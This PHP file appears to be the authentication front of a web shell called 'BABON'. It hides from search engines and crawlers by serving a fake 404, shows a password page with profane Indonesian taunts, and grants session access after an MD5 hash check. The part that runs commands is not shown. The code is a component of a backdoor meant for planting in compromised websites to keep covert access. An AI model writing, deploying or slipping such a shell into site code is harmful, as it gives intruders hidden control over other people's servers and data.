<?php
session_start();
@error_reporting(0);
@set_time_limit(0);

$hashedPassword = "1668f74e5ac8828efae58674978f3d62"; 

if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl'];
    if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

function login_shell($error = '') {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="robots" content="noindex, nofollow">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>BABON</title>
        <script src="https://cdn.tailwindcss.com"></script>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
        <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    </head>
    <body class="bg-gray-900 flex items-center justify-center h-screen">
        <div class="bg-gray-800 p-6 rounded-xl shadow-xl w-full max-w-md text-white">
            <div class="text-center mb-6">
                <i class="fas fa-user-shield text-blue-400 text-4xl"></i>
                <h1 class="text-2xl font-bold mt-2">BABON</h1>
                <p class="text-gray-400 text-sm">MAU APA KAU KONTOL !</p>
            </div>
            <form method="POST" class="space-y-4">
                <?php if (!empty($error)): ?>
                    <div class="bg-red-500/20 text-red-400 p-2 rounded border border-red-500">
                        <i class="fas fa-exclamation-circle"></i> <?= htmlspecialchars($error) ?>
                    </div>
                <?php endif; ?>
                <input type="password" name="password" placeholder="PASSWORD" class="w-full px-4 py-2 bg-gray-700 border border-gray-600 rounded focus:outline-none focus:ring-2 focus:ring-blue-500" required>
                <button type="submit" name="login" class="w-full bg-blue-500 hover:bg-blue-600 text-white py-2 rounded font-semibold">
                    <i class="fas fa-sign-in-alt mr-1"></i> MASUKAN KE DALAM
                </button>
            </form>
            <p class="mt-4 text-center text-sm text-gray-500">JAGA BAEK BAEK KIMBEK !</p>
        </div>

        <?php if (!empty($error)): ?>
        <script>
            Swal.fire({
                icon: 'error',
                title: 'Login Failed',
                text: '<?= addslashes($error) ?>',
                confirmButtonColor: '#3b82f6',
                background: '#0f172a',
                color: '#e2e8f0',
                timer: 3000
            });
        </script>
        <?php endif; ?>
    </body>
    </html>
    <?php
    exit;
}

$sessionKey = md5($_SERVER['HTTP_HOST']);

if (!isset($_SESSION[$sessionKey])) {
    if (isset($_POST['password'])) {
        if (md5($_POST['password']) === $hashedPassword) {
            $_SESSION[$sessionKey] = true;
        } else {
            login_shell("Invalid password!");
        }
    } else {
        login_shell();
    }
}
?>